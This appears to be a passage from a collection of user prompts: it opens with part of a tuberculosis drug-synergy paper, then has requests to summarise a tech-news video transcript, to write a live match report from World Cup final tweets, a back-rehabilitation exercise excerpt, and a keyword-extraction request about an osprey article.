control.\n\nAssessing synergistic and peak plasma concentrations (Cmax) of FA synergizing drugs for optimal therapy\nAs a key consideration for the clinical potential of FA combinations, the respective concentrations at which synergy was observed were compared with the reported peak plasma concentrations (Cmax) for each drug. This is important in understanding whether the concentrations required to achieve the desired response are therapeutically feasible – and, consequently, whether the results obtained from an in vitro assay have any utility in guiding therapeutic use. Except for the FA-ERY interaction, synergies between FA and its partners were achieved at concentrations predicted to be below the maximum plasma concentrations (13, 14), suggesting that these concentrations are therapeutically achievable (Fig. S5). For example, the presence of FA decreased the MIC of SPC from 201 µM to 3.14 µM, which represents a greater than 98% reduction in the MIC (Table S2). This reduced concentration is far below the Cmax value of SPC in humans (30.8 µM), determined following a 1000 mg intramuscular dose (15).\n\nAssessing cidal versus static synergies\nTo determine whether FA interactions resulted in killing or merely inhibited the growth of M. tuberculosis, the method of Zhang et al. was utilized (16). INH, a bactericidal agent, was used as a reference drug, and all drugs were tested alone and in combination against the M. tuberculosis H37Rv::gfp bioreporter strain. Results for the bacteriostatic or cidal effects of the drug combinations with FA are illustrated (Figure 2). The FA-RIF combination displayed a MBC/MIC ratio of ≤ 2 on day 14 of evaluation, suggesting cidality. The other combinations tested – combining FA with SPC, ERY, CLR, ROX or LZD – all exhibited MBC/MIC ratios >2, implying static effects. The bacteriostatic/cidal action of individual drugs is shown in Fig. S6.\n\nFigure 2.\nDownload figureOpen in new tab\nFigure 2.\nBactericidal versus static effects of drug combinations against M. tuberculosis.\nAnalysis of FA in combination with synergizing drugs; ERY, SPC, CLR, ROX, RIF, and LZD. INH was used as reference drug. MBC/MIC ratio ≤2: cidal; MBC/MIC ratio > 2: static. \\*Sub-inhibitory concentrations of FA that exhibited the respective synergies in these checkerboard experiments are between (0.3 – 1.2 µM) Data are from a representative experiment performed in triplicate. Error bars indicate standard deviations, calculated from the mean of triplicate samples.\n\nFA synergizing partners are active against the FA-resistant mutant\nA cross-resistance study was performed using a FA-resistant M. tuberculosis mutant carrying H462Y mutation in fusA1(11). The FA-resistant mutant exhibited >100-fold MIC compared to the FA-susceptible parental strain. Six synergistic FA partner drugs – RIF, SPC, CLR, ERY, STR and ROX – were evaluated using the resazurin reduction microplate assay (REMA). The results (Fig. S7) indicated that the MIC90 values of these drugs remained the same against the FA-resistant mutant relative to the wild-type strain, confirming that there was no cross-resistance to each of the tested compounds.\n\nInteraction of FA synergizing partners with selected chemically unrelated compounds\nUsing a set of six chemically and structurally diverse drug agents (Table S3), a combination assay was performed with four drugs that had displayed synergistic interaction with FA: RIF, ERY, CLR and SPC. The aim was to determine whether these compounds displayed synergy only with FA or exhibited a wider spectrum of synergistic interactions. The results of these pairwise combinations (Figure 3) revealed potentiating interactions between all FA synergizing partners (except RIF) and THS, BDQ and CPZ. CLR displayed strong synergies with BDQ and CPZ (FICI = 0.23 in both cases). The interaction between SPC and INH was also synergistic, while the remaining compounds (EMB and MOX) exhibited no interactions in combination with RIF, ERY, CLR and SPC.\n\nFigure 3.\nDownload figureOpen in new tab\nFigure 3.\nDrug interaction study.\nPairwise interactions between selected drugs (blue fonts) and synergizing agents (black fonts) of FA (using M. tuberculosis H37Rv::gfp. Red panels indicate synergistic interactions (FICI ≤ 0.5), while green panels are no interaction (0.5 < FICI ≤ 4). The bars indicate the fold-reduction in MIC required to achieve the same effect in combination versus single-drug assays. For example, in the interaction between RIF and MOX, top right-hand panel, the FIC for RIF = 0.45 (black bar) and MOX = 0.9 (blue bar). The resulting FICI for RIF-MOX = 1.35 (green bar) which indicates an additive interaction. Data are from the representative experiment performed in duplicate.' -"summarize this transcript:\n\namd's giving us old goods and can't work\nwith new Goods motherboards that connect\nfrom the back and this thing's faster\nthan the 4090 let's get in the hot news\neverybody I'm your bright host we're\ngonna be going over the hottest Tech\nnews I can find on the internet while\nyou enjoy your breakfast and we're gonna\nstart off today talking about a new CPU\nthat amd's dropping get ready for it\nit's the ryzen 3\non a Zen 2 process that came out in the\nat retail by AMD this is something that\nis kind of late a lot of the 4000 series\napus didn't actually make it to retail\nbecause AMD only wanted to ship them to\ncompanies like Dell Lenovo all the types\nof oems that would sell it straight to\nyou as a consumer so that's actually how\nyou usually saw a lot of reviews of\nthese chips is that they had to buy them\nout of the systems but now finally AMD\nis bringing this to us which kinda is\nhow they've been approaching the low end\nside of their chip Market you see the\ncheapest CPU that they launched was the\nryzen 5 5600x at 299 the 5600 came in a\nlittle bit cheaper than that recently\nbut nothing under the 200 Mark and if\nAMD is going to be giving us really\ncheap CPUs it's going to be stuff that's\nGenerations old because then they can\nactually make a decent margin on them\nbecause it's already been worked out as\nopposed to trying to give us something\nnew that's good that's capable for 99\nand the last time they even tried to do\nthat with the ryzen 3 3100 3300x they\nnever really officially put enough stock\nbehind them if you want to know how the\nryzen 4300g is going to perform you can\nwatch this video where we released a\nreview of the 5300g which is essentially\nthe same chip that's right AMD released\na follow-up to this CPU before they're\nactually releasing it to you that you\ncan buy it get ready for it but AMD\nwhile they're giving us old Goods they\ncan't get ready for the new Goods which\nis the Corsair and crucial's new 24 and\nchange the market and how much RAM you\ncan actually have in your system no more\nnumbers but AMD has not had official\nsupport for it at the current moment\nb650 not supporting it Intel has\nlaunched bioses that do support this Ram\nbut AMD hasn't gotten that far however\nsome people have gotten their hands on\nthese RAM sticks and installed them into\nAMD systems and they've actually gotten\nthe systems to post to go into the BIOS\nto properly display the actual amount of\nram but when they attempt to actually go\ninto Windows it doesn't work and the\nsystem can't actually run it so it's\nhalfway there AMD just needs to give a\nlittle bit more support for the weird\nRam sizes and another weird product Lee\nand Lee wants to launch us is the o11d\nXL case that's getting the EK reflection\nscreen that is right my friends a water\nBlock in a CPU case that has water\ncooling built into the panel and now it\nalso has a 7 inch 1024 by 600 panel that\nallows you to connect it with an HDMI\ncable so that you can display whatever\nyou you want on that front section right\ndown here you can have the visibility\nbaked in from the manufacturer level\ninstead of having to install your own\nwhich you can do there's options for\nthat on Amazon you pick up little screen\ndisplays that you can pump out speaking\nof pumping out I don't know if Reese is\ngoing to pump out any ufd deals today\nbecause he and Catelyn are both meeting\nwith my wife today like by the time\nyou're watching this episode of hot news\nthey will have already had lunch\ntogether in South Africa and I'm not\nbitter in the slightest actually hurt\nmyself there yo welcome back to EFT\ndeals bringing the hottest Tech deals on\nthe internet except for yesterday when I\ndidn't\nbut I have deals today specifically\nsomething I haven't seen before which is\na compact High refresh rate monitor this\nbiotech gfv 22cb features a 22 inch\nonly 114.99 which is 28 off and then\nnext up we have this ASRock z690 steel\nLegend motherboard features an LJ 1700\nsocket for 12th gen and 13 gen support\nwith ddr4 which you can pick up for only\nprice in 30 days those are the deals you\ncan find those and more linked Down\nBelow in the video description but until\nnext time I'ma hand you off back to Brad\nfor the rest of your hot news cheers\nthanks Reese I hope you feel bad because\nyou you're hurting me and Volkswagen\nallegedly feels bad as much as the\ncorporation can feel bad for anything\nthat they've done we didn't officially\ncover this in hot news we did do a short\non this Volkswagen incident which was\nabout how there was a car theft that\ninvolved a child also being kidnapped\nand a pregnant mother being run over by\nthe Volkswagen Car Volkswagen has\ntracking built into their cars where\nyou're actually able to find out where\nthe vehicle is however because the\nperson didn't subscribe to the actual\ncar tracking officially for 150 a year\nVolkswagen chose to not help the\nauthorities out in this instance\nVolkswagen did say that they did have\nways that the authorities could have\nworked with them and that it was a ball\ndropped on VW side and they're going to\nbe issuing a make good which is going to\nallow for five years of this car\nconnectivity their car not access to be\nrolled out to Volkswagen customers for\npeople who have purchased a vehicle from\nthem Volkswagen says that this was a\nprocess failure they're working to make\nit right in the future the pregnant\nmother who got run over the last I heard\nis still in the hospital the child who\nwas abducted was found several miles\ndown the road but is safe and this is\njust a bad situation overall but the\nVolkswagen's trying I guess and then a\nlittle bit of a more light-hearted free\nupdate Sony is going to be bringing out\nthe PlayStation 5 Discord access finally\nthey've had the beta access for their\naccess 1440p vrr support and now that's\nofficially rolling out where you should\nbe able to download it even if you're\nnot part of the PlayStation beta program\nsetup but you're not going to be able to\ndownload Starfield bethesda's upcoming\nanticipated title until September 6th\nBethesda giving it another release date\nit was supposed to be released in\nNovember of last year they're going to\ngive a deeper dive on it on June 11th\nand I want to Deep dive more in on these\ntypes of different products that are\ncoming out Asus announcing the\nb760mbtf motherboard which is\nessentially a real departure from how\nmotherboards are set up if you just take\na quick little look do you notice\nanything weird about this motherboard if\nyou are paying attention that's right\nall of the Power connectors fan\nconnectors LED connectors are on the\nback of the board which makes it so that\nyour cables are routed through the back\nnow not every case that you're going to\nmount this in is going to be set up for\nthis to be successful this is going to\nhave to be a very well thought out\nsituation but because of the standards\nthat we have with ATX and other form\nfactors on motherboards this is not\nreally typical because cases don't allow\nfor a lot of of experimentation this is\nslightly similar to what gigabyte did\nwith their project stealth build that\nyou can see right here which also had no\ncables except for this one went a little\nbit further because you could plug the\nGPU in through the back whereas the Asus\nv760 board is just about the motherboard\nand if you're all about that cache that\ncrypto cash well tp-link Asic has\nsomething for you this is a miner right\nhere look at that that's a Bitcoin miner\nthat according to their reports is\nfaster than an RTX 4090 it can pull 1200\nwatts gonna set you back a cool\nCadena Miner while also being a Wi-Fi 7\nrouter it's actually sounding pretty\ngood too good almost too good to be true\na giganto Wi-Fi router that's faster\nthan an RTX 4090 at Mining and also\ngives you internet but according to\ncurrent profitability levels and the\namount of power that this thing will\nsuckle down it's going to give you a\nprofitability of a dollar forty to per\nday which means it's going to take you\nlike four or five years to break even\nexcept for in four to five years there's\ngoing to be more powerful technology and\nthat's not going to even happen so you\nneed the price of crypto to go up in\norder to make more money except for the\nfact that despite the fact that this\ncompany is called tp-link Asic which you\nwould think might be the mining\nsubsidiary arm of tp-link the company\nthat makes all of your favorite routers\nyou think it might be their you know nft\nfuture setup like Square Enix getting\ninto the blockchain it's it's not it's\naccording to tp-link this is a scam this\nis not real you shouldn't be buying it\nthe company does sell other miners I\ndon't know anything about them but while\nit looks really good too good to be true\nit's because it likely is tp-link says\nthat they're investigating they're\nlooking into it it is likely a scam\ndon't go and buy this if you see this\nbeing reported on the internet know that\nit's likely not something that you're\ngonna need to pick up you're just gonna\nhave to pick up my heart because I'm\nreally mad that I'm not in South Africa\nright now meeting with recent Catlin\nah I've seen them more for hot news" -"Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets :\n\nsourceText Time\nWhat a goal , beautiful 2-0 #FIFAWorldCup argetina dominating , france are clueless 15:36:49.0000000\n?????? beautiful goal #ARGFRA 15:36:51.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nArgentina 2nd goal was beautiful ?? 15:36:50.0000000\nArgentina second goal is pure class omg . Beautiful futbol ????? 15:36:38.0000000\nWhat a beautiful counter attack and fantastic goal!! #ArgentinaVsFrance 15:36:33.0000000\nThat goal from Argentina was why they call it the Beautiful Game 15:36:53.0000000\nbeautiful second goal Argentina ???? 15:36:56.0000000\nWow that was beautiful …what a goal #ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal by Argentina 15:36:51.0000000\nWhat a beautiful goal #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nThat's a beautiful goal ???''#ARGFRA #FIFAWorldCup 15:36:52.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\nAngel Fucking Di Maria????????????'Oh my God'This is absolutely beautiful '#ArgentinaVsFrance #FIFAWorldCup 'Goal of the tournament in terms of team work 15:36:28.0000000\nGOOOOOOOAAAL!!! ''Di Maria doubles the lead for Argentina. What a beautiful team goal. ''Argentina ???? 2???0?? France ???? ''#FifaWorldCup 15:36:50.0000000\nThat's a beautiful goal against one of the best teams in the world. Bravo, Argentina! 15:36:56.0000000\nBeautiful goal #ArgentinaVsFrance #FIFAWorldCup argies been all over France. Thoroughly deserve the 2 nil lead 15:36:48.0000000\nBeautiful Football. Beautiful Goal. THATS WHY YOU LOVE THIS BEAUTIFUL GAME! What a counter. ARGENTINA HAVE ONE HAND ON THE TROPHY!'#FIFAWorldCup 15:36:42.0000000\nDi Maria SCOOOOOOOOOORESSSS''2-0''Beautiful goal.''#WorldCupFinal 15:36:36.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nWhat a fucking goal'Absolutely beautiful ?? '#ArgentinaVsFrance #FIFAWorldCup 15:36:59.0000000\nbeautiful counter attacking goal from Argentina. France need to find a way to get Mbappe involved. 15:36:52.0000000\nThat was gorgeous wow. That was an amazing goal. I don't even want Argentina to win but I can't deny that was beautiful 15:36:36.0000000\nThat goal was beautiful ???? #WorldCupFinal 15:36:59.0000000\nArgentina came out to play. That goal was beautiful. What a performance by them so far 15:36:42.0000000\nNow that was a beautiful and well deserved goal! France is done. #WorldCupFinal 15:36:51.0000000\nBeautiful goal from Argentina!!??????????? #FIFAWorldCup 15:36:27.0000000\nBeautiful goal Argentina ???? 15:36:39.0000000\nWhat a beautiful set up & goal by Argentina!!! 15:36:29.0000000\nWHAT A BEAUTIFUL GOAL!!! #ARGFRA #WorldCupFinal #ArgentinaVsFrance 15:36:33.0000000\nBeautiful goal.'#ARGFRA 15:35:54.0000000\nBeautiful Beautiful goal. France have not got going... 15:36:12.0000000\nWhat a ball by MacAllister!! Beautiful goal #BHAFC #ArgentinaVsFrance 15:36:52.0000000\nWhat a beautiful goal by Argentina #ArgentinaVsFrance 15:36:01.0000000\nBeautiful goal by Argentina to be fair 15:36:50.0000000\nDi Maria, beautiful goal ''#Argentina #FIFAWorldCupFinal 15:36:41.0000000\nwow that passing and goal was beautiful ''Argentina is not playing today ''#FIFAWorldCup #Arg 15:36:55.0000000\nOooof. Worst part is -- it's a beautiful goal and well deserved. #ArgentinaVsFrance 15:36:27.0000000\nDi Maria with a beautiful goal and Argentins double their lead. France is not themselves today. #ARGFRA 15:36:22.0000000\nJust beautiful football. Beautiful goal #ArgentinaVsFrance #WorldCupFinal 15:36:32.0000000\nArgentina deserves this. Team work and a goal. That is just beautiful ????????. #Yearofthegoat 15:36:40.0000000\nBeautiful goal Argentina 15:36:04.0000000\nWhat a beautiful goal by Argentina Jesus Christ 15:36:09.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:19.0000000\nBeautiful goal. ??? Fantastic. #ArgentinaVsFrance #FIFAWorldCup #FIFAWorldCupFinal 15:36:13.0000000\nBeautiful goal by Argentina 15:36:10.0000000\nBeautiful goal?????? #ArgentinaVsFrance 15:36:10.0000000\nBeautiful goal from Argentina. 15:36:15.0000000\nWhat a beautiful goal! #ArgentinaVsFrance 15:36:08.0000000\nFucking beautiful SECOND GOAL''LEGGGOOO ARGENTINA ???????? 15:36:55.0000000\nWhat a beautiful goal!!!! #ArgentinaVsFrance 15:36:40.0000000\nBeautiful goal! Just beautiful…. #ARGFRA #WorldCupFinal 15:36:06.0000000\nARGENTINA WHAT A BEAUTIFUL GOAL!!! 15:36:24.0000000\nBeautiful Goal!!!! #ArgentinaVsFrance #FIFAWorldCup #Messi??day 15:36:39.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:57.0000000\nWhat a beautiful goal damnnnn ?? Go on Argentina!!!! 15:36:00.0000000\n2-0! What a beautiful goal! ?? #FIFAWorldCup #ArgentinaVsFrance 15:36:33.0000000\nWhat a beautiful goal #ARGFRA 15:36:11.0000000\nThat was terrific! ''That was absolutely beautiful! ''This goal was fully deserved!!''#FIFAWorldCupFinal #ArgentinaVsFrance #Messi?? 15:36:25.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nDamn that was a beautiful sequence for the 2-0 Argentina goal?? 15:36:29.0000000\nThat'Was'BEAUTIFUL FOOTBALL ''WWWWOOOOWWWWW''Look at how they turned a France half chance to a PERFECT Argentine counter and goal!''Whole French Midfield and Defense in straight shambles 15:36:59.0000000\nWhat a beautiful goal that was ???? #ArgentinaVsFrance 15:36:19.0000000\nAbsolutely beautiful goal by Argentina. Perfection. 15:36:40.0000000\nThat’s a beautiful, beautiful goal by Argentina 15:36:45.0000000\nBeautiful goal by Di Maria #ArgentinaVsFrance #FIFAWorldCup 15:36:18.0000000\nTHAT WAS A BEAUTIFUL GOAL FROM ARGENTINA 15:36:49.0000000\nwhat a beautiful goal #ARGFRA 15:36:18.0000000\nCalled it. This one goal was fucking beautiful! #ARGFRA 15:35:55.0000000\nThat goal was BEAUTIFUL #ARGFRA 15:36:19.0000000\nWhat a beautiful Argentina goal. 15:35:56.0000000\nBeautiful Argentina goal!! What a cross!!!! #FIFAWorldCup #ArgentinaVsFrance 15:36:42.0000000\nWhat a beautiful goal by Argentina. #FIFAWorldCup 15:36:55.0000000\nThat was such a beautiful goal, it was seamless and effortless. Messi has one hand on the #WorldCup trophy 2-0 #ArgentinaVsFrance #Qatar2022 15:36:53.0000000\nWhat a beautiful goal! So we’ll played by Argentina. 15:36:58.0000000\nThat was a beautiful goal!! ?? #WorldCupFinal 15:36:29.0000000\nBEAUTIFUL GOAL FROM ARGENTINA WTF 15:36:29.0000000\nYESSS WHAT A BEAUTIFUL GOAL BY ARGENTINA 15:36:29.0000000\nWhat a beautiful goal! One touch football!! Orgasmic play from Argentina ???? 15:36:50.0000000\nOh my word. Argentina deserve the trophy for that goal alone. Absolutely beautiful ?? #WorldCupFinal 15:36:30.0000000\nBeautiful goal in the run of play. Argentina is completely dominating France. 15:36:40.0000000\nThat is a beautiful goal. What a move by Argentina. #ArgentinaVsFrance #FIFAWorldCup 15:36:38.0000000\nThat’s a beautiful and perfect goal for Argentina 15:36:25.0000000\nWhat a beautiful goal, vamos Argentina!!! 15:36:55.0000000\nThat was a beautiful goal! 2-0 Argentina in the 36th minute. 15:36:50.0000000\nDI MARIA WHAT A BEAUTIFUL FUCKING GOAL ARGENTINA WHAT A BEAUTIFUL FUCKING PLAY 15:36:23.0000000\nWhat. A. Beautiful. Goal. #ArgentinaVsFrance #FIFAWorldCup 15:36:54.0000000\nBeautiful second goal for Argentina omg yesss 15:35:56.0000000\nThat was such a beautiful goal for Argentina 15:36:50.0000000\nArgentina ???? what a beautiful goal!!! 15:36:22.0000000\nChampagne football ?? Beautiful team goal ???? #ArgentinaVsFrance 15:36:29.0000000\nThat was a beautiful goal ''Thats a wrap France are no coming back from this 15:36:55.0000000\nBeautiful ball movement by Argentina on that goal''#WorldCupFinal 15:36:59.0000000\nBeautiful second goal.'Just beautiful #ArgentinaVsFrance #WorldCup 15:35:53.0000000\nBeautiful goal! #FIFAWorldCupFinal ???? 15:36:27.0000000\n2-0!!!!!!!!!! Argentina!!!!!!!! What a beautiful goal!!!!!!!!! ????'#FIFAWorldCup #WorldCup 15:36:32.0000000\nWhat a beautiful goal. 'France are asleep 15:36:45.0000000\nBeautiful team goal worthy of the finals #WorldCup 'Argentina deserves to win this better team all game 15:36:57.0000000\nBeautiful goal!!! #WorldCup #ArgentinaVsFrance 15:36:27.0000000\nBeautiful goal. France have been shocking 15:35:58.0000000" -'EXERCISE 2\nThe Bridge\nThe bridge accomplishes several things. It wakes up the gluteal muscles (the big muscles in your buttocks). It reinforces spinal stabilization. It builds endurance and strength in the muscles on the front and back of the core. And it is the precursor to doing a proper squat, which comes later in the book. \nDo the bridge as follows:\nStep 1: Lie on your back, with your arms at your side, legs hip-width apart.\nStep 2: Find your neutral spine and brace your core to lock it in.\n\nStep 3: Bend your knees and put your feet in a flexed position so that your heels are on the ground and the balls of your feet and toes are off of the ground as pictured.\nStep 4: Squeeze your buttocks together as if you were trying to pinch a coin between them.\n\nStep 5: Here’s the tricky part: Using the glutes, lift your hips/torso off of the ground without moving your lower back. You should not articulate the spine and roll up “one vertebra at a time.” You want to do the opposite of that. You want to lift the torso in one solid piece while maintaining your neutral spine. No movement should take place in the lower back.\nStep 6: Hold for five to ten seconds (remember these are suggestions. Hold to your tolerance in the beginning, with ten seconds being your goal). You should feel the muscles in both sides of your buttocks working relatively equally.\nStep 7: Lower your back down to the starting position without losing your neutral spine. Again, do not articulate the spine on the way down. In other words, do not roll the spine down onto the floor one vertebra at a time.\nStep 8: Repeat Steps 2 through 7, and do five to ten reps, with ten being your long-term goal.\nTROUBLESHOOTING\n• Hamstring cramping. If your hamstrings cramp (the muscles that run down the underside of your thighs), gently push your feet into the floor away from you before you lift your hips/torso off the ground.\n• Knee pain. If one or both of your knees hurt, lightly press your knees outward before lifting your hips/torso off the ground.\n• Unable to maintain neutral spine. Start by trying to lift your hips/torso only an inch off the ground. Slowly progress to a full bridge over the next few weeks.\n• Unable to feel glutes working. Go to Chapter 13. Then come back and start with the following regression.\n• If your back hurts with this exercise, proceed to the Buttock Squeezes regression on the next page. Try these for a few days or weeks and then come back and try the bridge again, making sure to follow instructions meticulously. If your back still hurts, you may have a spinal condition like severe stenosis that makes you sensitive to extension in the spine. If this is the case, this exercise might not be for you.\nCommon Mistakes\nThe most common mistake for back patients with the bridge exercise is that they use their hamstrings instead of their glutes to bring the hips up into position. If your hamstrings are cramping, then you aren’t using your glutes enough. Go to Chapter 13 and practice “waking up your glutes,” and then come back to this exercise and try it again.\nREGRESSION\nButtock Squeezes\nIf you don’t have the strength or control yet to perform a single bridge exercise properly for any amount of time, start with buttock squeezes.\n1. Lie on your back, with arms at your side, knees bent, feet hip-width apart.\n2. Find your neutral spine and brace your core to lock it in.\n3. Squeeze your buttocks together as if trying to squeeze a coin between them.\n4. Hold for ten seconds.\n5. Do ten reps.\nPROGRESSION\nOne-Leg Bridge\nOnce you have mastered the bridge and are able to do it with relative ease and with no discomfort in the back, you may want to progress to the one-leg bridge. You do not have to progress to this exercise. Depending on your spinal condition and your fitness level, you may not need to progress this far. This progression is for those who are reasonably fit and plan to be very active in sports, exercise, or outdoor activities.\n1. Follow all rules for the bridge.\n2. Once your hips and torso are off the ground, give extra care to make sure your core is braced as firmly as possible.\n\n3. Slowly extend one leg at the knee without letting the hips/torso drop on that side. You will feel the glutes of the other stabilizing leg kick in as you extend the leg.\n4. Hold five to ten seconds.\n5. Slowly bring the extended leg back to the bent-knee starting position. (Do not lower your hips/torso while doing this. Maintain the bridge position with a neutral spine until your foot is back on the floor.)\n6. Slowly lower your hips/torso back to the starting position on the floor without articulating the spine.\n7. On the other side, repeat Steps 1 through 6, making sure to come up into a full bridge and lock your core in place before extending the leg at the knee.\nCommon Mistakes\n• When you go to one leg, it is easy to “cock” your hips to one side, to make it easier. Don’t do that. Keep your thighs parallel during the whole exercise. If you can’t, you aren’t strong enough yet for this exercise.\n• Regarding extending the leg as you come up/bending the leg down as you go down: Make sure to come up into a full bridge and lock your spine before you try to extend the leg. Conversely, make sure you bring the leg all the way back in before coming down to the starting position.\n• Do not bring the thigh of the extended leg up. Make sure your thighs remain parallel so that you have to use the gluteal muscles to keep the pelvis stable.\nEXERCISE 3\nCrunch and Plank\nWe discuss these two exercises together because they both do a lot of the same things, and some of you will not get to the plank and that’s okay. The plank will take you a bit further toward returning to strenuous activities, but the crunch is enough to get you out of pain. The purpose of the crunch and the plank is to build endurance and strength in the abdominal wall (crunch and plank) and glutes and lats (plank) and to increase spinal stability. Very few back pain sufferers are strong enough to do a plank properly in the beginning and must do crunches for a while before attempting the plank.\nCrunch\nFirst of all, this exercise is not a sit-up. Sit-ups (the traditional “Army sit-up,” where you pull yourself into a full sitting position) have been proven to be very risky to the spine. They run dangerous loads through the lumbar discs. If you wanted to develop a way to herniate a disc in a lab, a sit-up would be a good candidate for it. Crunches, unlike full sit-ups, do not allow movement in the lumbar spine. Your lumbar spine stays in neutral throughout.\nStep 1: Lie on your back, with your arms at your side, legs hip-width apart.\nStep 2: Find your neutral spine and brace your core to lock it in.\n\nStep 3: Place your hands behind your head, if possible. If you can’t, because of shoulder discomfort, that’s okay. Find a comfortable position for your hands.\nStep 4: Gently draw your chin in toward your neck, giving yourself a “double chin.” Hold this position throughout the exercise.\nStep 5: Slowly and carefully raise your shoulder blades and head toward the ceiling an inch or two, giving a moderate squeeze in the abdominal muscles without flattening or rounding your lower back. Keep a neutral spine; this will be harder than you think. Only bring your shoulders off the floor as far as you can without moving your lower back. The max distance, when you’re great at it, would be no more than, say, four inches.\n\nStep 6: Hold five to ten seconds, with ten being the goal.\nStep 7: Slowly return to the starting position without moving your lower back.\nStep 8: Repeat Steps 1 through 7, for five to ten reps, with ten being the goal.\nTROUBLESHOOTING\n“My neck hurts.” First, you shouldn’t be pulling your head with your arms. Your arms/hands are there only to provide a little support to your head and neck. Make sure that you pull your chin in toward your neck before initiating the exercise. This will engage your deep neck flexors that support the spine. If this does not relieve neck pain, move to the Regression.\nCommon Mistakes\n• The most common mistake is flattening or (worse) rounding the back. It is crucial that you not make this mistake. Doing crunches while continually rounding or flattening the back will promote spinal instability, the opposite of our goal. Details matter!\n• Chin jutting. If your chin is poking out toward the ceiling with each rep, you are not stabilizing your cervical spine and your neck extensors are taking over. Make sure to draw the chin in toward your neck before each rep.\nREGRESSION\nAbdominal Contractions\nDo this exercise until you build up enough abdominal strength to accomplish the crunch.\n1. Start in the same position as for the bridge.\n2. Place one hand behind your lower back and one hand inside your front hipbone beside your navel.\n3. Squeeze your abdominal muscles without flattening or rounding your back. You should feel your back being still with one hand and the abs engaging with the other hand.\n4. Hold for five to ten seconds, with ten being the goal.\n5. Repeat for several reps until fatigue sets in.\nPROGRESSION\nPlank\nOnce you have mastered the crunch and are able to do crunches with relative ease and without pain or movement in the lower back, try the plank. This is a great exercise to build increased core stability, endurance, and strength. Some of you (especially those with severe stenosis) may never be able to do a plank. That’s okay. Give the plank a try, and if it doesn’t work for you, stay with crunches. If you do go on to the plank, follow the directions closely; most people do this exercise incorrectly.\n\n1. Lie facedown with your forehead on the floor and your arms flat on the floor on either side of you, elbows bent and palms down.\n2. Find your neutral spine and engage your core to lock it in.\n3. Squeeze your glutes together and squeeze your feet together.\n\n4. Come up onto your forearms and knees with your elbows below your shoulders.\n5. Lift your knees off of the floor so you are now on your toes and forearms.\n6. “Traction” your forearms into the floor. In other words, press them into the floor and back toward your feet at the same time. Your forearms shouldn’t move; you are just creating a pulling force into the floor and down toward your feet. This should make you feel more contraction in your lats and lower abdominal muscles.\n\n7. Hold for five to ten seconds, with ten being the goal.\n8. Slowly put your knees back down first. Do not let your hips/pelvis go to the floor first; this would put your back into extension and may cause pain.\n9. Repeat Steps 1 through 8, for two to five reps, with five being the goal.\nTROUBLESHOOTING\n• “This hurts my lower back.” Some people just can’t do a plank. Even if they do it the right way, it still aggravates their back. If you can’t do a plank, drop it and stick with crunches. But first, be sure that you can’t do it. For example, if your lower back is hurting, try sticking your buttocks in the air a little more. It could be that your hips are sagging toward the floor, putting your back into extension. Also, make sure the core is fully engaged before moving from knees to toes. Lastly, make sure you are squeezing your buttocks, which will support the lower back. If none of that works, forget it; stick with crunches.\n• “This hurts my shoulders.” Make sure you are tractioning your forearms down into the floor and back toward your toes. This engages the supportive muscles of the rotator cuff. If this doesn’t help, try the regression that follows.\nCommon Mistakes\n• Feet and legs are not together, which makes gluteal engagement more difficult.\n• Back is up but the hips are dropping toward the floor. This will cause back pain in people with conditions such as stenosis or facet syndrome.\n• You’re forgetting to pull shoulders back and forearms into the floor with chin jutting. This will cause an increase in pressure in the shoulders and/or neck, resulting in shoulder and neck pain.\nREGRESSION\nPlank on Knees\nIf you aren’t quite ready for plank but think crunch is just too easy, try this one.\n1. Lie facedown with your forehead on the floor and your arms flat on the floor on either side of you, elbows bent, palms down.\n2. Find your neutral spine and engage your core to lock it in.\n3. Squeeze your glutes together and squeeze your feet together.\n4. Come up onto your forearms and knees with your elbows below your shoulders (see illustration, for the plank).\n5. Traction your forearms into the floor, pulling them into the floor and back toward your feet at the same time. Your forearms shouldn’t move; you are just creating a pulling force into the floor and back toward your feet. This should make you feel more contraction in your lats and lower abdominal muscles.\n6. Hold for five to ten seconds, with ten being the goal.\nEXERCISE 4\nDynamic Hamstring Stretch\nCAUTION\nThis exercise may irritate symptoms of people with active radiculopathy, such as severe leg/foot pain, and numbness or tingling in the legs or feet. If you have these symptoms, start with caution; you may not be able to do this exercise. If this exercise exacerbates your leg or back symptoms, skip it for now and come back to it when the symptoms are resolved.\nThe dynamic hamstring stretch helps to improve mobility in the hips and also helps to reinforce and strengthen your ability to maintain a neutral spine while moving the legs. It also builds endurance and strength in the core.\nStep 1: Lie on your back and find neutral spine.\nStep 2: Brace the core to lock in neutral spine.\n\nStep 3: Bend one leg at the knee with your foot flat on floor. Straighten out the other leg onto the floor, with foot flexed (toes pointed up).\nStep 4: Carefully raise the straight leg without losing your neutral spine; in other words, make sure your lower back isn’t flattening into the floor as your leg comes up. To check, put one of your hands underneath your lower back and feel for movement. Raise the leg only as high as you can without flattening your back into the floor. \nStep 5: Do ten to twenty repetitions on each leg. Do as many as needed to feel that you have mildly stretched your hamstrings and worked your core.\nCommon Mistake\nFlattening the back into the floor as you bring the leg up. Remember, one of the most important points of these exercises is to teach you neutral spine/spinal stability. You do not want to accomplish an increase of movement speed at the expense of spinal stabilization. Bring up your leg only as high as you can without flattening your back or bending your knee. Increasing hamstring flexibility will come with time.\nEXERCISE 5\nSide Plank\nThe side plank works the muscles on the lateral (side) parts of the core, such as the obliques, gluteus medius, and quadratus lumborum. This exercise is a very important one. I mention this because almost everyone hates doing it. But don’t give up: Your back depends on it. Many readers will not be able to do this exercise at first because their core is weak. Don’t worry. There are regressions (easier exercises) for those of you who can’t do this one yet.\nStep 1: Start by lying on your side, propped up on your forearm, with your elbow under your shoulder. Relax the other arm for now. Pull your lower arm shoulder blade inward toward your spine and downward toward your buttocks, engaging the lat muscles.\nStep 2: Drop your hips back a bit so that they sit behind your feet and shoulders.' -'Please extract keywords from this: Lessons from the Osprey Garden\nMuch of biologist-naturalist Paul Spitzer’s life has moved in time with the seasonal rhythms of one bird, the osprey, and one place—the “osprey garden.”\n\nIn late spring he paddles his canoe into the Great Island saltmarsh, 500 acres of prime osprey habitat where the Connecticut River flows into 